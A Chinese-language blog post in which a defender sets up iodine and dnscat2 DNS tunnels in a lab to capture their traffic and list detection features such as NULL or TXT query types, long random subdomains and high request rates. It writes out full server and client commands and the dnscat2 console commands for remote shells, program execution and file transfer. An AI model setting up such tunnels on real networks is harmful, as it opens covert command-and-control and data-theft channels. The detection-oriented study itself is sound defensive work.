前言
在监控平台上发现有关于DNS隧道流量的告警,不能判断是否是误报,手里没有相关的流量样本进行分析,所以这里想自己搭建一个实验环境抓取DNS隧道的流量进行分析一下。
一、iodined
使用的DNS隧道工具是iodined,工具网址:https://code.kryo.se/iodine/
iodine工作原理:通过TAP虚拟网卡,在客户端和服务器端建立起一个局域网,两者通过DNS隧道连接。让你可以通过DNS服务器传输 IPv4 数据
实验需要两台Linux服务器,一台作为客户端、一台作为服务端
1、设置NS记录
设置A记录iodine服务器的IP地址,将NS记录指向此域名
2、Server安装
使用一台云服务器作为服务端,下载iodined源码,编译安装
make make install
启动服务端
./iodined -f -c -P PassWord_123 192.168.100.1 ns.xxx.xxx
-f : 在前台运行 -c : 禁止检查所有传入请求的客户端IP地址 -P : 客户端和服务器之间用于验证身份的密码 -D : 指定调试级别。 -DD指第二级。“D”的数量随等级增加
可以看到新开了一个网卡 dns0
3、客户端设置
sudo ./iodine -f -P PassWord_123 ns.xxx.xxx
客户端马上收到连接
客户端也出现了一个dns0的网卡
4、流量分析
在服务器端连接客户端kali,完成DNS隧道通信
4.1 “心跳”流量特征
在没有具体通信的时候,在服务器端可以看到,客户端一直有在进行ping流量,这个应该是对服务器存活监测的流量。
在客户端抓取eth0的流量,可以看到,客户端有大量的dns请求,这里看到的流量就是在服务器上接收到的dns请求
特征一
此监测心跳的报文,具体为:
type类型为NULL
正常的dns请求类型,通常为A,表示由域名获取对应的 IP 地址
特征二
流量中有大量前缀随机的dns请求,正常的DNS流量不会这么密集的请求
4.2 通讯流量特征
在服务器端使用ssh登陆客户端服务器
特征三
请求的域名长度会非常长,这里应该是带有通讯的数据
抓取dns0隧道网卡的流量,可以看到是在隧道封装的就是正常TCP的SSH流量
二、dnscat2
工具地址:https://github.com/iagox86/dnscat2
dnscat2通过DNS协议创建加密的命令和控制(C&C)通道,运行客户端时,通常会指定一个域名。所有请求都将发送到本地 DNS 服务器。它可以传输任何数据,无需附加任何协议,这意味着它可以上传和下载文件,可以运行 shell。
1、设置NS记录
同样设置NS解析记录,A记录设置为自己的云服务器,NS记录的记录值设置为这条A记录。
第一条A记录:表示域名映射IP地址,testdns.xxxx.xxx 域名映射到我们的服务器IP地址,使用ping命令可以看到解析生效。
NS记录表示:指定了一个域的权威名称服务器,所以这里表示ns.xxxx.xxx的域名,权威服务器是test.xxxx.xxx,要解析ns域名,去找test.xxxx.xxx的dns服务器。
在任意一台机器上执行
nslookup ns.xxxx.xxx
在服务器上监听53端口
tcpdump -n -i eth0 udp dst port 53
表示我们的ns记录生效
2、服务端安装
服务端使用ruby语言,需要配置ruby环境,安装官方文档提示安装环境,我这里使用的debian 9.0
apt-get install gem apt-get install ruby-dev apt-get install libpq-dev apt-get install ruby-bundler apt-get install git
下载dnscat2
$ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server/ $ gem install bundler $ bundle install
启动服务器端
ruby ./dnscat2.rb ns.****.*** -e open -c Password_test --no-cache
-c 定义预共享密钥 -e open 表示服务端允许客户端不进行加密 –-no-cache 禁止缓存
3、客户端配置
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/client/ make
在客户端启动dnscat2
./dnscat --secret=Password_test ns.****.***
建立起连接
sessions #查看当前建立的session windows #查看当前建立的session,和sessions一样 session -i 1 #进入第一个session,和MSF一样 window -i 1 #进入第一个session,和session -i 1一样 help #查看命令帮助 clear:清屏 delay:修改远程响应延时 exec :执行远程机器上的指定程序,例如PowerShell或VBS shell:得到一个反弹的shell download、upload:上传、下载文件,速度较慢,适合小文件 suspend:返回上一层,相当于使用快捷键 Ctrl+Z listen:类似于SSH隧道的-L参数(本地转发) ping:用于确认目标机器是否在线,若返回pong,说明目标机器在线 shutdown:切断当前会话 quit:退出dnscat2控制台 kill id:切断通道 set:设置值,例如设置 security=open
建立一个交互式shell
执行命令
4、流量分析
初步连接上,在客户端抓取流量
特征一
首先在频率上,客户端会频繁的对连接的服务器端域名进行请求,所以在我们日常监控过程中,可以关注这些高频率的DNS请求。
在请求的四级域名,是一串较长的字符串,这也是一个明显的特征。所以在日常监测当中,如果有频繁请求很长一串字符串组成的域名,就要特别关注可能是dnscat2的dns隧道流量
特征二
在这些请求的DNS域名的TYPE类型有:TXT,CNAME,MX
在客户端启动也会有提示
参考: